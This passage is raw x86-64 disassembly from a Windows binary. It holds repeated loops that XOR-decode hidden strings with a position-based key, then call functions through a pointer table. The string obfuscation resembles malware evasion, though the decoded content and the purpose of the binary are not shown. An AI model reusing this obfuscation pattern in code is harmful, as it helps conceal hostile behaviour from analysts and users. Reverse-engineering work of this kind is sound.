imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2f38]
mov eax, dword [rbp + 0x2f2c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2f2c], 1
cmp dword [rbp + 0x2f2c], 0x34
jle 0x140008715
nop
lea rax, [rbp + 0x2dc0]
mov edx, dword [rbp + 0x306c]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.140001450
mov rdx, qword [0x1402db078]
mov rax, qword [rbp + 0x3190]
mov rcx, rax
call rdx
mov qword [rbp + 0x3190], 0
mov r10, qword [0x1402db040]
mov rcx, qword [0x1402db030]
mov rax, qword [rbp + 0x98]
add rax, 0x38
mov r11, rax
mov r8, qword [rbp + 0x3098]
mov rax, qword [rbp + 0x3190]
lea rdx, [rbp + 0xf8]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x306c], eax
cmp dword [rbp + 0x306c], 0
jne 0x14000881f
mov rax, qword [rbp + 0xf8]
cmp qword [rbp + 0x3098], rax
je 0x140008945
mov rdx, qword [rbp + 0x98]
mov rax, qword [rbp + 0x3098]
lea rbx, [rdx + rax]
lea rax, [rbp + 0x2e00]
lea rdx, [rbp + 0x2e3f]
mov rcx, rax
call fcn.1400027ae
lea rax, [rbp + 0x2e00]
mov qword [rbp + 0x2f20], rax
mov rax, qword [rbp + 0x2f20]
mov qword [rbp + 0x2f18], rax
mov rax, qword [rbp + 0x2f18]
movzx eax, byte [rax + 0x30]
test al, al
setne al
test al, al
je 0x14000890c
mov rax, qword [rbp + 0x2f20]
mov rdx, qword [rbp + 0x2f20]
mov qword [rbp + 0x2f10], rdx
mov qword [rbp + 0x2f08], rax
mov dword [rbp + 0x2f04], 0
jmp 0x140008902
mov eax, dword [rbp + 0x2f04]
movsxd rdx, eax
mov rax, qword [rbp + 0x2f08]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2f04]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2f10]
mov eax, dword [rbp + 0x2f04]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2f04], 1
cmp dword [rbp + 0x2f04], 0x30
jle 0x1400088a3
nop
lea rax, [rbp + 0x2e00]
mov edx, dword [rbp + 0x306c]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.140001450
mov rdx, qword [0x1402db078]
mov rax, qword [rbp + 0x3190]
mov rcx, rax
call rdx
mov qword [rbp + 0x3190], 0
mov r10, qword [0x1402db048]
mov r9d, dword [rbp + 0x84]
lea r8, [rbp + 0x88]
lea rdx, [rbp + 0x98]
mov rax, qword [rbp + 0x3190]
lea rcx, [rbp + 0x84]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x306c], eax
cmp dword [rbp + 0x306c], 0
je 0x140008aa8
mov rbx, qword [rbp + 0x98]
lea rax, [rbp + 0x2e40]
lea rdx, [rbp + 0x2e7e]
mov rcx, rax
call fcn.140002948
lea rax, [rbp + 0x2e40]
mov qword [rbp + 0x2ef8], rax
mov rax, qword [rbp + 0x2ef8]
mov qword [rbp + 0x2ef0], rax
mov rax, qword [rbp + 0x2ef0]
movzx eax, byte [rax + 0x3a]
test al, al
setne al
test al, al
je 0x140008a6f
mov rax, qword [rbp + 0x2ef8]
mov rdx, qword [rbp + 0x2ef8]
mov qword [rbp + 0x2ee8], rdx
mov qword [rbp + 0x2ee0], rax
mov dword [rbp + 0x2edc], 0
jmp 0x140008a65
mov eax, dword [rbp + 0x2edc]
movsxd rdx, eax
mov rax, qword [rbp + 0x2ee0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2edc]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x34
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2ee8]
mov eax, dword [rbp + 0x2edc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2edc], 1
cmp dword [rbp + 0x2edc], 0x3a
jle 0x140008a06
nop
lea rax, [rbp + 0x2e40]
mov edx, dword [rbp + 0x306c]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.140001450
mov rdx, qword [0x1402db078]
mov rax, qword [rbp + 0x3190]
mov rcx, rax
call rdx
mov qword [rbp + 0x3190], 0
lea rax, [rbp + 0x2e80]
lea rdx, [rbp + 0x2e7f]
mov rcx, rax
call fcn.140002b32
mov rax, qword [rbp + 0x2e80]
mov rdx, qword [rbp + 0x2e88]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2e90]
mov rdx, qword [rbp + 0x2e98]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2ea0]
mov rdx, qword [rbp + 0x2ea8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2eb8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2ec0]
mov rdx, qword [rbp + 0x2ec8]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov eax, dword [rbp + 0x2ed0]
mov dword [rbp + 0x10], eax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001e790
mov ebx, 0
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.1400a9890
mov eax, ebx
jmp 0x14000a476
add rsp, 0x3238
pop rbx
pop rbp
ret